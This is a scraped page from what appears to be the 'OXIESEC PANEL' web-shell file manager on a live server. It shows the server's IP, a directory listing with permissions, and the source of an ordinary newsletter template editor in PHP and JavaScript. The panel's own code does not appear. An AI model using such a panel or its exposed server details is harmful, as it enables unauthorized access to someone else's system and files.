OXIESEC PANEL
- Current Dir:
/
/
var
/
www
/
cream
/
CreateLeadPage_back
Server IP: 139.59.38.164
Upload:
Create Dir:
Name
Size
Modified
Perms
📁
..
-
06/17/2025 10:17:24 AM
rwxrwxr-x
📄
24-02-25index.php
42.37 KB
05/19/2025 10:07:19 AM
rw-r--r--
📄
28index.php
55.04 KB
05/19/2025 10:07:19 AM
rw-r--r--
📁
NW_images
-
02/28/2025 12:23:08 PM
rwxr-xr-x
📄
aditya_index.php
39.95 KB
05/19/2025 10:07:19 AM
rw-r--r--
📄
aditya_load_template.php
2.39 KB
05/19/2025 10:07:19 AM
rw-r--r--
📄
aditya_save-template.php
2.44 KB
05/19/2025 10:07:19 AM
rw-r--r--
📄
aditya_upload.php
851 bytes
05/19/2025 10:07:19 AM
rw-r--r--
📁
assets
-
03/13/2025 08:45:46 AM
rwxr-xr-x
📄
back_index.php
28.33 KB
05/19/2025 10:07:19 AM
rw-r--r--
📄
backup_index.php
25.17 KB
05/19/2025 10:07:19 AM
rw-r--r--
📄
db_gallery.php
292 bytes
05/19/2025 10:07:19 AM
rw-r--r--
📄
edit_template.php
658 bytes
05/19/2025 10:07:19 AM
rw-r--r--
📄
fetch_data.php
773 bytes
05/19/2025 10:07:19 AM
rw-r--r--
📄
fetch_titles.php
0 bytes
05/19/2025 10:07:19 AM
rw-r--r--
📄
form.js
7.64 KB
03/13/2025 08:45:38 AM
rw-r--r--
📁
images12
-
03/01/2025 05:00:09 AM
rwxr-xr-x
📁
images13
-
03/01/2025 05:00:09 AM
rwxr-xr-x
📁
images14
-
03/01/2025 05:00:10 AM
rwxr-xr-x
📁
images15
-
03/01/2025 05:00:10 AM
rwxr-xr-x
📁
images16
-
03/01/2025 05:00:11 AM
rwxr-xr-x
📁
images17
-
03/01/2025 05:00:11 AM
rwxr-xr-x
📁
images18
-
03/01/2025 05:00:11 AM
rwxr-xr-x
📁
images19
-
03/01/2025 05:00:12 AM
rwxr-xr-x
📁
images2
-
03/01/2025 05:00:12 AM
rwxr-xr-x
📁
images20
-
03/01/2025 05:00:13 AM
rwxr-xr-x
📁
images21
-
03/01/2025 05:00:13 AM
rwxr-xr-x
📁
images3
-
03/01/2025 05:00:14 AM
rwxr-xr-x
📁
images4
-
03/01/2025 05:00:14 AM
rwxr-xr-x
📁
images5
-
03/01/2025 05:00:15 AM
rwxr-xr-x
📁
images6
-
03/01/2025 05:00:15 AM
rwxr-xr-x
📁
images7
-
03/01/2025 05:00:16 AM
rwxr-xr-x
📁
images8
-
03/01/2025 05:00:16 AM
rwxr-xr-x
📁
images9
-
03/01/2025 05:00:17 AM
rwxr-xr-x
📄
index.php
9.53 KB
05/19/2025 10:07:19 AM
rw-r--r--
📄
load_template.php
2.21 KB
05/19/2025 10:07:19 AM
rw-r--r--
📁
newsletter
-
03/13/2025 05:29:35 AM
rwxr-xr-x
📄
newsletter.png
194.94 KB
03/13/2025 08:45:38 AM
rw-r--r--
📄
nleditor_navbar.php
22.6 KB
05/19/2025 10:07:19 AM
rw-r--r--
📁
pages
-
03/13/2025 05:29:39 AM
rwxr-xr-x
📁
pages_backup
-
03/13/2025 08:45:51 AM
rwxr-xr-x
📄
process.js
27.81 KB
03/13/2025 08:45:38 AM
rw-r--r--
📄
processb.js
31.21 KB
03/13/2025 08:45:38 AM
rw-r--r--
📄
save-template.php
2.5 KB
05/19/2025 10:07:19 AM
rw-r--r--
📄
script.js
34.02 KB
03/13/2025 08:45:38 AM
rw-r--r--
📄
styles.css
2.43 KB
03/13/2025 08:45:38 AM
rw-r--r--
📄
template1.jpg
0 bytes
03/13/2025 08:45:38 AM
rw-r--r--
📄
test.html
5.84 KB
03/13/2025 08:45:38 AM
rw-r--r--
📄
test.php
1.58 KB
05/19/2025 10:07:19 AM
rw-r--r--
📄
test_index.php
48.82 KB
05/19/2025 10:07:19 AM
rw-r--r--
📄
texts.txt
1.7 KB
03/13/2025 08:45:38 AM
rw-r--r--
📄
upload.php
858 bytes
05/19/2025 10:07:19 AM
rw-r--r--
📁
uploads
-
03/13/2025 08:45:46 AM
rwxr-xr-x
Editing: backup_index.php
Close
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Newsletter Template Editor</title> <!-- <link rel="stylesheet" href="style.css"> --> <script src="https://cdnjs.cloudflare.com/ajax/libs/interact.js/1.10.17/interact.min.js"></script> </head> <style> /* Main styles */ :root { --primary-color: #db5919; --secondary-color: #f4d03f; --text-color: #333; --background-color: #f5f5f5; } body { margin: 0; padding: 0; font-family: Arial, sans-serif; display: flex; height: 100vh; background-color: var(--background-color); } /* Sidebar styles */ .sidebar { width: 250px; background-color: white; padding: 20px; border-right: 1px solid #ddd; overflow-y: auto; } .template-list, .elements-list { display: flex; flex-direction: column; gap: 10px; margin-bottom: 20px; } .template, .element { padding: 10px; border: 1px solid #ddd; border-radius: 4px; cursor: pointer; transition: all 0.3s ease; } .template:hover, .element:hover { background-color: #f0f0f0; border-color: var(--primary-color); } .template img { width: 100%; height: 120px; object-fit: cover; margin-bottom: 5px; } /* Main content styles */ .main-content { flex: 1; display: flex; flex-direction: column; padding: 20px; } .toolbar { background-color: white; padding: 10px; border-radius: 4px; margin-bottom: 20px; display: flex; gap: 10px; align-items: center; } .text-controls { display: flex; gap: 10px; align-items: center; } .canvas-area { flex: 1; background-color: white; border-radius: 4px; padding: 20px; overflow-y: auto; min-height: 800px; position: relative; } /* Element styles */ .draggable { position: absolute; padding: 10px; border: 1px solid transparent; cursor: move; user-select: none; } .draggable:hover { border-color: var(--primary-color); } .draggable.selected { border: 2px solid var(--primary-color); } /* Button styles */ button { padding: 8px 16px; background-color: var(--primary-color); color: white; border: none; border-radius: 4px; cursor: pointer; transition: background-color 0.3s ease; } button:hover { background-color: #c24c15; } /* Form controls */ select, input[type="color"] { padding: 5px; border: 1px solid #ddd; border-radius: 4px; } /* Responsive design */ @media (max-width: 768px) { body { flex-direction: column; } .sidebar { width: 100%; height: 200px; } } .template { cursor: pointer; padding: 10px; border: 1px solid #ccc; margin: 5px; display: inline-block; } #new-div-container { margin-top: 20px; } .new-div { width: 150px; height: 200px; overflow-y: scroll; padding: 0px; margin: 10px; border: 1px solid #000; background-color: #f0f0f0; } .new-div img { width: -webkit-fill-available; } </style> <!-- css for the text --> <style> /* Existing styles */ :root { --primary-color: #db5919; --secondary-color: #f4d03f; --text-color: #333; --background-color: #f5f5f5; } body { margin: 0; padding: 0; font-family: Arial, sans-serif; display: flex; height: 100vh; background-color: var(--background-color); } .sidebar { width: 250px; background-color: white; padding: 20px; border-right: 1px solid #ddd; overflow-y: auto; } .main-content { flex: 1; display: flex; flex-direction: column; padding: 20px; } .canvas-area { flex: 1; background-color: white; border-radius: 4px; padding: 20px; overflow-y: auto; min-height: 800px; position: relative; } /* New text element styles */ .text-element { position: absolute; min-width: 50px; min-height: 20px; padding: 5px; cursor: move; border: 1px solid transparent; transition: border 0.3s ease; } .text-element:hover { border: 1px dashed var(--primary-color); } .text-element.selected { border: 1px solid var(--primary-color); } .text-element[contenteditable="true"] { outline: none; border: 1px solid var(--primary-color); } /* Text controls styles */ .text-controls { display: flex; gap: 10px; align-items: center; background-color: white; padding: 10px; border-radius: 4px; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); } .text-controls button { padding: 5px 10px; background-color: white; border: 1px solid #ddd; border-radius: 4px; cursor: pointer; transition: all 0.3s ease; } .text-controls button.active { background-color: var(--primary-color); color: white; } .text-controls select, .text-controls input { padding: 5px; border: 1px solid #ddd; border-radius: 4px; } /* Add text button style */ .add-text-btn { margin-bottom: 20px; width: 100%; padding: 10px; background-color: var(--primary-color); color: white; border: none; border-radius: 4px; cursor: pointer; transition: background-color 0.3s ease; } .add-text-btn:hover { background-color: #c24c15; } </style> <body> <div class="sidebar"> <h2>Templates</h2> <div class="template-list"> <div class="template" data-template="template_1"> <!-- <img src="template1.jpg" alt="Template 1"> --> <span>Basic Newsletter</span> </div> <div class="template" data-template="template_2"> <!-- <img src="template2.jpg" alt="Template 2"> --> <span>Modern Layout</span> </div> <div class="template" data-template="template_3"> <!-- <img src="template3.jpg" alt="Template 3"> --> <span>Professional</span> </div> <div class="template" data-template="template_4"> <!-- <img src="template4.jpg" alt="Template 4"> --> <span>Minimal Design</span> </div> <div class="template" data-template="template_5"> <!-- <img src="template5.jpg" alt="Template 5"> --> <span>Creative Style</span> </div> </div> <button class="add-text-btn" id="addTextBtn">Add Text</button> <div class="image-upload"> <h2>Upload Image</h2> <input type="file" id="imageUpload" accept="image/*"> </div> </div> <div id="new-div-container"></div> <div class="main-content"> <div class="text-controls"> <select id="fontFamily"> <option value="Arial">Arial</option> <option value="Times New Roman">Times New Roman</option> <option value="Helvetica">Helvetica</option> <option value="Georgia">Georgia</option> <option value="Verdana">Verdana</option> </select> <select id="fontSize"> <option value="12">12px</option> <option value="14">14px</option> <option value="16">16px</option> <option value="18">18px</option> <option value="24">24px</option> <option value="32">32px</option> <option value="48">48px</option> </select> <button id="boldText" title="Bold"><strong style="color: #000;">B</strong></button> <button id="italicText" title="Italic"><em style="color: #000;">I</em></button> <button id="underlineText" title="Underline" style="color: #000;"><u>U</u></button> <input type="color" id="textColor" title="Text Color"> <select id="textAlign"> <option value="left">Left</option> <option value="center">Center</option> <option value="right">Right</option> </select> </div> <div class="canvas-area" id="canvasArea"> </div> </div> <script src="script.js"></script> <!-- this sample div for the template --> <!-- <script> document.querySelectorAll('.template').forEach(template => { template.addEventListener('click', function () { // Get the data-template value of the clicked template const templateName = this.getAttribute('data-template'); // Create a new div element const newDiv = document.createElement('div'); newDiv.classList.add('new-div'); // Add content to the new div newDiv.innerHTML = `<h3>You selected: ${templateName}</h3>`; // Append the new div to the new-div-container document.getElementById('new-div-container').appendChild(newDiv); }); }); </script> --> <!-- <script> document.querySelectorAll('.template').forEach(template => { template.addEventListener('click', function () { // Get the data-template value of the clicked template const templateName = this.getAttribute('data-template'); // Create the URL of the PHP endpoint const templateUrl = `load_template.php?template=${templateName}`; // e.g., load_template.php?template=template1 // Create a new div element for the template content const newDiv = document.createElement('div'); newDiv.classList.add('new-div'); // Show loading message while fetching newDiv.innerHTML = '<p>Loading template...</p>'; // Append the new div to the new-div-container document.getElementById('new-div-container').appendChild(newDiv); // Fetch the template HTML from the server using the PHP endpoint fetch(templateUrl) .then(response => { if (!response.ok) { throw new Error('Template not found'); } return response.text(); }) .then(htmlContent => { // Replace the loading message with the template content newDiv.innerHTML = htmlContent; }) .catch(error => { // If there's an error (e.g., file not found), show an error message newDiv.innerHTML = `<p>Error: ${error.message}</p>`; }); }); }); </script> --> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <!-- <script> $(document).ready(function() { // Loop through all elements with class 'template' $('.template').each(function() { $(this).on('click', function() { // Get the data-template value of the clicked template const templateName = $(this).data('template'); // Create the URL of the PHP endpoint const templateUrl = `load_template.php?template=${templateName}`; // Create a new div element for the template content const newDiv = $('<div class="new-div"></div>'); // Show loading message while fetching newDiv.html('<p>Loading template...</p>'); // Append the new div to the new-div-container $('#new-div-container').append(newDiv); // Fetch the template HTML from the server using the PHP endpoint $.ajax({ url: templateUrl, // The PHP endpoint method: 'GET', // HTTP method to use success: function(response) { // Replace the loading message with the template content newDiv.html(response); }, error: function(xhr, status, error) { // If there's an error (e.g., file not found), show an error message newDiv.html(`<p>Error: ${error}</p>`); } }); }); }); }); </script> --> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script> $(document).ready(function() { // Loop through all elements with class 'template' $('.template').each(function() { $(this).on('click', function() { // Get the data-template value of the clicked template const templateName = $(this).data('template'); // Create the URL of the PHP endpoint for loading the template const templateUrl = `load_template.php?template=${templateName}`; // Create a new div element for the template content const newDiv = $('<div class="new-div"></div>'); // Show loading message while fetching newDiv.html('<p>Loading template...</p>'); // Append the new div to the new-div-container $('#new-div-container').append(newDiv); // Fetch the template HTML from the server using the PHP endpoint $.ajax({ url: templateUrl, // The PHP endpoint method: 'GET', // HTTP method to use success: function(response) { // Replace the loading message with the template content newDiv.html(response); // Log the new div content to check the data-template-path console.log(newDiv.html()); // Add click event to the newly added div to fetch templatePath newDiv.on('click', function() { // Get the templatePath from the clicked template const templatePath = $('[data-template-path]').data('template-path'); // Assuming it's stored in data-template-path console.log('Template Path:', templatePath); // Debugging console.log('helooo'); // Debugging if (templatePath) { // Create the URL for fetching the image from the template const templatePathUrl = `load_template.php?templatePath=${templatePath}`; // Fetch the template image HTML $.ajax({ url: templatePathUrl, // PHP script that returns the template image method: 'GET', success: function(imageHtml) { // Insert the fetched HTML into the canvas-area div $('#canvasArea').html(imageHtml); }, error: function(xhr, status, error) { // Handle error in loading image $('#canvasArea').html(`<p>Error: ${error}</p>`); } }); } else { console.log("No template path found."); } }); }, error: function(xhr, status, error) { // If there's an error (e.g., file not found), show an error message newDiv.html(`<p>Error: ${error}</p>`); } }); }); }); }); </script> <!-- script for the text --> <script> document.addEventListener('DOMContentLoaded', function() { let selectedElement = null; let textCounter = 0; // Function to create a new text element function createTextElement() { const textElement = document.createElement('div'); textElement.className = 'text-element'; textElement.setAttribute('data-text-id', `text-${++textCounter}`); textElement.innerHTML = 'Click to edit text'; textElement.style.left = '50px'; textElement.style.top = '50px'; return textElement; } // Add text button click handler document.getElementById('addTextBtn').addEventListener('click', function() { const textElement = createTextElement(); document.getElementById('canvasArea').appendChild(textElement); makeElementDraggable(textElement); selectElement(textElement); }); // Make elements draggable using interact.js function makeElementDraggable(element) { interact(element) .draggable({ inertia: true, modifiers: [ interact.modifiers.restrictRect({ restriction: 'parent', endOnly: true }) ], listeners: { move: dragMoveListener, start: function(event) { selectElement(event.target); } } }) .resizable({ edges: { left: true, right: true, bottom: true, top: true }, listeners: { move: resizeMoveListener } }); } // Drag move listener function dragMoveListener(event) { const target = event.target; const x = (parseFloat(target.getAttribute('data-x')) || 0) + event.dx; const y = (parseFloat(target.getAttribute('data-y')) || 0) + event.dy; target.style.transform = `translate(${x}px, ${y}px)`; target.setAttribute('data-x', x); target.setAttribute('data-y', y); } // Resize move listener function resizeMoveListener(event) { const target = event.target; let x = (parseFloat(target.getAttribute('data-x')) || 0); let y = (parseFloat(target.getAttribute('data-y')) || 0); Object.assign(target.style, { width: `${event.rect.width}px`, height: `${event.rect.height}px`, transform: `translate(${x}px, ${y}px)` }); } // Select element function function selectElement(element) { if (selectedElement) { selectedElement.classList.remove('selected'); selectedElement.setAttribute('contenteditable', 'false'); } selectedElement = element; element.classList.add('selected'); // Update controls to match selected element's styles document.getElementById('fontFamily').value = element.style.fontFamily || 'Arial'; document.getElementById('fontSize').value = parseInt(element.style.fontSize) || '16'; document.getElementById('textColor').value = rgb2hex(element.style.color) || '#000000'; document.getElementById('textAlign').value = element.style.textAlign || 'left'; } // Double click to edit document.getElementById('canvasArea').addEventListener('dblclick', function(e) { if (e.target.classList.contains('text-element')) { e.target.setAttribute('contenteditable', 'true'); e.target.focus(); } }); // Style controls event listeners document.getElementById('fontFamily').addEventListener('change', function(e) { if (selectedElement) { selectedElement.style.fontFamily = e.target.value; } }); document.getElementById('fontSize').addEventListener('change', function(e) { if (selectedElement) { selectedElement.style.fontSize = `${e.target.value}px`; } }); document.getElementById('textColor').addEventListener('input', function(e) { if (selectedElement) { selectedElement.style.color = e.target.value; } }); document.getElementById('boldText').addEventListener('click', function() { if (selectedElement) { const isBold = selectedElement.style.fontWeight === 'bold'; selectedElement.style.fontWeight = isBold ? 'normal' : 'bold'; this.classList.toggle('active'); } }); document.getElementById('italicText').addEventListener('click', function() { if (selectedElement) { const isItalic = selectedElement.style.fontStyle === 'italic'; selectedElement.style.fontStyle = isItalic ? 'normal' : 'italic'; this.classList.toggle('active'); } }); document.getElementById('underlineText').addEventListener('click', function() { if (selectedElement) { const isUnderlined = selectedElement.style.textDecoration === 'underline'; selectedElement.style.textDecoration = isUnderlined ? 'none' : 'underline'; this.classList.toggle('active'); } }); document.getElementById('textAlign').addEventListener('change', function(e) { if (selectedElement) { selectedElement.style.textAlign = e.target.value; } }); // Utility function to convert RGB to HEX function rgb2hex(rgb) { if (!rgb) return '#000000'; if (rgb.search("rgb") == -1) return rgb; rgb = rgb.match(/^rgba?\((\d+),\s*(\d+),\s*(\d+)(?:,\s*(\d+))?\)$/); function hex(x) { return ("0" + parseInt(x).toString(16)).slice(-2); } return "#" + hex(rgb[1]) + hex(rgb[2]) + hex(rgb[3]); } // Click outside to deselect document.addEventListener('click', function(e) { if (!e.target.classList.contains('text-element') && !e.target.closest('.text-controls')) { if (selectedElement) { selectedElement.classList.remove('selected'); selectedElement.setAttribute('contenteditable', 'false'); selectedElement = null; } } }); }); </script> </body> </html>